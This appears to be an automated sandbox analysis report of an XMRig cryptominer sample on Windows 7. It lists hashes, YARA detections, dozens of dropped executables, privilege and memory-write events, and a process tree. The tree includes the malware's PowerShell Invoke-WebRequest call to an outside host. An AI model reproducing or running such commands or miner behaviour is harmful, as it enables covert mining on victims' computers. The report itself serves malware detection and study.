xmrig | b0a659f64969ed6ce8f723a68fd29d656373eb2b3b616b30a67263bec69191db

Analysis

max time kernel
149s
max time network
145s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
02/06/2024, 23:12

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
Size

2.1MB
MD5

7ecf686683eafa4b064c2306621075d0
SHA1

df61cbf508cacea33817e3f165ea6274b12c9353
SHA256

b0a659f64969ed6ce8f723a68fd29d656373eb2b3b616b30a67263bec69191db
SHA512

1463256b7d1345174d579654840054ed1cbe7a0d01e01abf686d13663d02f53323e387b1fde3b2791e7f1a9e86617bf111425e2b04bae82f049d9ae16a381146
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkibTJH+2Q/ynKeWYRLZcyZ204oVTUG7kieEHcYT0wu:Lz071uv4BPMkibTIA5JnJ1V8/XWooY

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 21 IoCs

miner

resource	yara_rule
behavioral1/memory/1768-188-0x000000013F980000-0x000000013FD72000-memory.dmp	xmrig
behavioral1/memory/2548-186-0x000000013F530000-0x000000013F922000-memory.dmp	xmrig
behavioral1/memory/2876-185-0x000000013FC40000-0x0000000140032000-memory.dmp	xmrig
behavioral1/memory/2524-181-0x000000013FC80000-0x0000000140072000-memory.dmp	xmrig
behavioral1/memory/2664-178-0x000000013FCC0000-0x00000001400B2000-memory.dmp	xmrig
behavioral1/memory/1760-177-0x0000000003620000-0x0000000003A12000-memory.dmp	xmrig
behavioral1/memory/2744-176-0x000000013F840000-0x000000013FC32000-memory.dmp	xmrig
behavioral1/memory/2736-174-0x000000013F390000-0x000000013F782000-memory.dmp	xmrig
behavioral1/memory/2700-173-0x000000013F120000-0x000000013F512000-memory.dmp	xmrig
behavioral1/memory/2684-170-0x000000013F1C0000-0x000000013F5B2000-memory.dmp	xmrig
behavioral1/memory/2700-5481-0x000000013F120000-0x000000013F512000-memory.dmp	xmrig
behavioral1/memory/2736-5482-0x000000013F390000-0x000000013F782000-memory.dmp	xmrig
behavioral1/memory/2920-5483-0x000000013F580000-0x000000013F972000-memory.dmp	xmrig
behavioral1/memory/1768-5485-0x000000013F980000-0x000000013FD72000-memory.dmp	xmrig
behavioral1/memory/2684-5486-0x000000013F1C0000-0x000000013F5B2000-memory.dmp	xmrig
behavioral1/memory/2548-5488-0x000000013F530000-0x000000013F922000-memory.dmp	xmrig
behavioral1/memory/2744-5490-0x000000013F840000-0x000000013FC32000-memory.dmp	xmrig
behavioral1/memory/2664-5492-0x000000013FCC0000-0x00000001400B2000-memory.dmp	xmrig
behavioral1/memory/2524-5494-0x000000013FC80000-0x0000000140072000-memory.dmp	xmrig
behavioral1/memory/2876-5493-0x000000013FC40000-0x0000000140032000-memory.dmp	xmrig
behavioral1/memory/2596-5495-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
848	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2920	NJSdPci.exe
2684	aTKYcSG.exe
2700	GFijeBZ.exe
2736	oGgjsUE.exe
2596	HNPaDwM.exe
2744	LRyCQjc.exe
2664	BKrRLOi.exe
2524	BSHaTng.exe
2876	BKJlTci.exe
2548	tFMstlX.exe
1768	ApJlvLb.exe
2148	XyuLLus.exe
2152	WTGgkLc.exe
1240	BNyyKeS.exe
1720	txHaYPl.exe
1996	UXOEtEC.exe
2132	nXxBigM.exe
1672	HbnJyRM.exe
2552	eHYYrtv.exe
2580	IxBOYJL.exe
1880	mfUVHZc.exe
1748	TdUEAgl.exe
1948	HPLUpQC.exe
1308	nVdRRXV.exe
1284	wUipRSy.exe
1776	QbDnmaM.exe
1928	uFCZLYM.exe
2080	ebkilkJ.exe
2812	JUFjHod.exe
600	ZDpoFlp.exe
1256	zhmJjcL.exe
1660	irabDRH.exe
1132	tKTUrxP.exe
1792	KZaigqw.exe
840	QRsSicH.exe
1904	GZxHVRx.exe
1504	XPedZfJ.exe
1404	ugqNHcw.exe
616	XLoaYtE.exe
2040	pKmHciZ.exe
860	vjLymgA.exe
1312	BHmKIkf.exe
2020	bxiZeMw.exe
2028	iHirQAX.exe
3068	hCqdwGe.exe
1696	gFITnYw.exe
1708	GrNXZRM.exe
2948	NCgUEmY.exe
2344	EuYLCPD.exe
1512	EzNoWYC.exe
1644	FOWdvvU.exe
464	hskgOfr.exe
1612	LtPPuZv.exe
2128	tUVQbkp.exe
2816	IvBFOtk.exe
2668	VFcKzSF.exe
2568	OElTkte.exe
3036	rCyaZgY.exe
2188	rzIWBhs.exe
2780	tDagPqu.exe
2516	jqNOfdV.exe
2512	ODNOEKr.exe
1428	zJVOcOp.exe
1664	krHXhfN.exe

Loads dropped DLL 64 IoCs

pid	Process
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1760-2-0x000000013FC20000-0x0000000140012000-memory.dmp	upx
behavioral1/files/0x000c00000001226e-5.dat	upx
behavioral1/memory/2920-8-0x000000013F580000-0x000000013F972000-memory.dmp	upx
behavioral1/files/0x00130000000054a8-28.dat	upx
behavioral1/files/0x0007000000015d02-27.dat	upx
behavioral1/files/0x0009000000015d89-38.dat	upx
behavioral1/files/0x0006000000016ca1-46.dat	upx
behavioral1/files/0x0006000000016cf2-53.dat	upx
behavioral1/files/0x0006000000016d21-72.dat	upx
behavioral1/files/0x0006000000016d36-82.dat	upx
behavioral1/files/0x0006000000016d46-89.dat	upx
behavioral1/files/0x0006000000016d57-97.dat	upx
behavioral1/files/0x0006000000016d01-104.dat	upx
behavioral1/files/0x0006000000016d19-106.dat	upx
behavioral1/files/0x00060000000171ad-146.dat	upx
behavioral1/files/0x000600000001708c-142.dat	upx
behavioral1/files/0x000600000001738f-160.dat	upx
behavioral1/files/0x0006000000016d7d-137.dat	upx
behavioral1/files/0x0039000000015cca-126.dat	upx
behavioral1/memory/1768-188-0x000000013F980000-0x000000013FD72000-memory.dmp	upx
behavioral1/memory/2548-186-0x000000013F530000-0x000000013F922000-memory.dmp	upx
behavioral1/memory/2876-185-0x000000013FC40000-0x0000000140032000-memory.dmp	upx
behavioral1/memory/2524-181-0x000000013FC80000-0x0000000140072000-memory.dmp	upx
behavioral1/memory/2664-178-0x000000013FCC0000-0x00000001400B2000-memory.dmp	upx
behavioral1/memory/2744-176-0x000000013F840000-0x000000013FC32000-memory.dmp	upx
behavioral1/memory/2596-175-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx
behavioral1/memory/2736-174-0x000000013F390000-0x000000013F782000-memory.dmp	upx
behavioral1/memory/2700-173-0x000000013F120000-0x000000013F512000-memory.dmp	upx
behavioral1/memory/2684-170-0x000000013F1C0000-0x000000013F5B2000-memory.dmp	upx
behavioral1/files/0x00060000000173e2-166.dat	upx
behavioral1/files/0x000600000001738e-157.dat	upx
behavioral1/files/0x0006000000016fa9-140.dat	upx
behavioral1/files/0x0006000000016d79-131.dat	upx
behavioral1/files/0x0006000000016d5f-117.dat	upx
behavioral1/files/0x0006000000016d4f-115.dat	upx
behavioral1/files/0x0006000000016d3e-113.dat	upx
behavioral1/files/0x0006000000016d73-121.dat	upx
behavioral1/files/0x0006000000016ccd-80.dat	upx
behavioral1/files/0x0006000000016d2d-76.dat	upx
behavioral1/files/0x0008000000016c5b-63.dat	upx
behavioral1/files/0x0006000000016d10-66.dat	upx
behavioral1/files/0x0008000000015d28-36.dat	upx
behavioral1/files/0x0007000000015d13-34.dat	upx
behavioral1/files/0x0039000000015cc2-20.dat	upx
behavioral1/memory/2700-5481-0x000000013F120000-0x000000013F512000-memory.dmp	upx
behavioral1/memory/2736-5482-0x000000013F390000-0x000000013F782000-memory.dmp	upx
behavioral1/memory/2920-5483-0x000000013F580000-0x000000013F972000-memory.dmp	upx
behavioral1/memory/1768-5485-0x000000013F980000-0x000000013FD72000-memory.dmp	upx
behavioral1/memory/2684-5486-0x000000013F1C0000-0x000000013F5B2000-memory.dmp	upx
behavioral1/memory/2548-5488-0x000000013F530000-0x000000013F922000-memory.dmp	upx
behavioral1/memory/2744-5490-0x000000013F840000-0x000000013FC32000-memory.dmp	upx
behavioral1/memory/2664-5492-0x000000013FCC0000-0x00000001400B2000-memory.dmp	upx
behavioral1/memory/2524-5494-0x000000013FC80000-0x0000000140072000-memory.dmp	upx
behavioral1/memory/2876-5493-0x000000013FC40000-0x0000000140032000-memory.dmp	upx
behavioral1/memory/2596-5495-0x000000013F2C0000-0x000000013F6B2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\rULxnQH.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\CfXBKjQ.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\ARAvjyi.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\cSKkcEw.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\rJIJHWl.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\xGMQAuc.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\yFdZQkw.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\DuOnXgM.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\PeTATaK.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\rhsUlGE.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\bOjWtpE.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\EaUWECi.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\drmpkcz.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\pvdWTAo.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\CZPLIMb.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\lvslYto.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\AFslBHc.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\phsUnHI.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\mBMIyfK.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\XLoaYtE.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\UrDAOaC.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\QSzQodL.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\nagkACi.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\vDQyTSR.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\zhFuCyY.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\bMSvVfr.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\tYsGSdN.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\hmOqAgz.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\TKCwcBG.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\ekkhSpq.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\pCLgaSM.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\pbVXKOi.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\cVEXmLW.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\QqYdJYC.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\UvhPHGN.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\OHDxCYp.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\PHSbocd.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\kuLLfpy.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\tAxxgZn.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\kimVCvn.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\VFcKzSF.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\gFrZirJ.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\NlqNeVE.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\DNQEjVg.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\MGvxjVU.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\elcYRHo.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\MpBpONW.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\Ckicqny.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\GMMHibV.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\Lfobkio.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\gOyIzyE.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\lujXaZt.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\XOfISTO.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\vEQKLAn.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\sqWqCmd.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\RZVcJSY.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\sVHzJJL.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZtScIIL.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\IVVfdwQ.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\CBAzSrb.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\ZGvNhZI.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\ldBuMPJ.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\JqDDkUH.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
File created	C:\Windows\System\VyWlWZA.exe	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
848	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
Token: SeDebugPrivilege	848	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 848	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	29
PID 1760 wrote to memory of 848	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	29
PID 1760 wrote to memory of 848	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	29
PID 1760 wrote to memory of 2920	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	30
PID 1760 wrote to memory of 2920	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	30
PID 1760 wrote to memory of 2920	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	30
PID 1760 wrote to memory of 2684	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	31
PID 1760 wrote to memory of 2684	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	31
PID 1760 wrote to memory of 2684	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	31
PID 1760 wrote to memory of 2700	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	32
PID 1760 wrote to memory of 2700	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	32
PID 1760 wrote to memory of 2700	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	32
PID 1760 wrote to memory of 2596	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	33
PID 1760 wrote to memory of 2596	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	33
PID 1760 wrote to memory of 2596	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	33
PID 1760 wrote to memory of 2736	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	34
PID 1760 wrote to memory of 2736	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	34
PID 1760 wrote to memory of 2736	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	34
PID 1760 wrote to memory of 2744	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	35
PID 1760 wrote to memory of 2744	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	35
PID 1760 wrote to memory of 2744	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	35
PID 1760 wrote to memory of 2664	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	36
PID 1760 wrote to memory of 2664	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	36
PID 1760 wrote to memory of 2664	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	36
PID 1760 wrote to memory of 2548	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	37
PID 1760 wrote to memory of 2548	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	37
PID 1760 wrote to memory of 2548	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	37
PID 1760 wrote to memory of 2524	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	38
PID 1760 wrote to memory of 2524	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	38
PID 1760 wrote to memory of 2524	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	38
PID 1760 wrote to memory of 2152	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	39
PID 1760 wrote to memory of 2152	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	39
PID 1760 wrote to memory of 2152	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	39
PID 1760 wrote to memory of 2876	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	40
PID 1760 wrote to memory of 2876	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	40
PID 1760 wrote to memory of 2876	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	40
PID 1760 wrote to memory of 2132	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	41
PID 1760 wrote to memory of 2132	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	41
PID 1760 wrote to memory of 2132	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	41
PID 1760 wrote to memory of 1768	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	42
PID 1760 wrote to memory of 1768	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	42
PID 1760 wrote to memory of 1768	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	42
PID 1760 wrote to memory of 1672	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	43
PID 1760 wrote to memory of 1672	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	43
PID 1760 wrote to memory of 1672	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	43
PID 1760 wrote to memory of 2148	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	44
PID 1760 wrote to memory of 2148	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	44
PID 1760 wrote to memory of 2148	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	44
PID 1760 wrote to memory of 2552	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	45
PID 1760 wrote to memory of 2552	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	45
PID 1760 wrote to memory of 2552	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	45
PID 1760 wrote to memory of 1240	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	46
PID 1760 wrote to memory of 1240	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	46
PID 1760 wrote to memory of 1240	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	46
PID 1760 wrote to memory of 2580	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	47
PID 1760 wrote to memory of 2580	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	47
PID 1760 wrote to memory of 2580	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	47
PID 1760 wrote to memory of 1720	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	48
PID 1760 wrote to memory of 1720	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	48
PID 1760 wrote to memory of 1720	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	48
PID 1760 wrote to memory of 1880	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	49
PID 1760 wrote to memory of 1880	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	49
PID 1760 wrote to memory of 1880	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	49
PID 1760 wrote to memory of 1996	1760	7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe	50

C:\Users\Admin\AppData\Local\Temp\7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\7ecf686683eafa4b064c2306621075d0_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:848
- C:\Windows\System\NJSdPci.exe
  C:\Windows\System\NJSdPci.exe
  2⤵
  - Executes dropped EXE
  PID:2920
- C:\Windows\System\aTKYcSG.exe
  C:\Windows\System\aTKYcSG.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\GFijeBZ.exe
  C:\Windows\System\GFijeBZ.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\HNPaDwM.exe
  C:\Windows\System\HNPaDwM.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\oGgjsUE.exe
  C:\Windows\System\oGgjsUE.exe
  2⤵
  - Executes dropped EXE
  PID:2736
- C:\Windows\System\LRyCQjc.exe
  C:\Windows\System\LRyCQjc.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\BKrRLOi.exe
  C:\Windows\System\BKrRLOi.exe
  2⤵
  - Executes dropped EXE
  PID:2664
- C:\Windows\System\tFMstlX.exe
  C:\Windows\System\tFMstlX.exe
  2⤵
  - Executes dropped EXE
  PID:2548
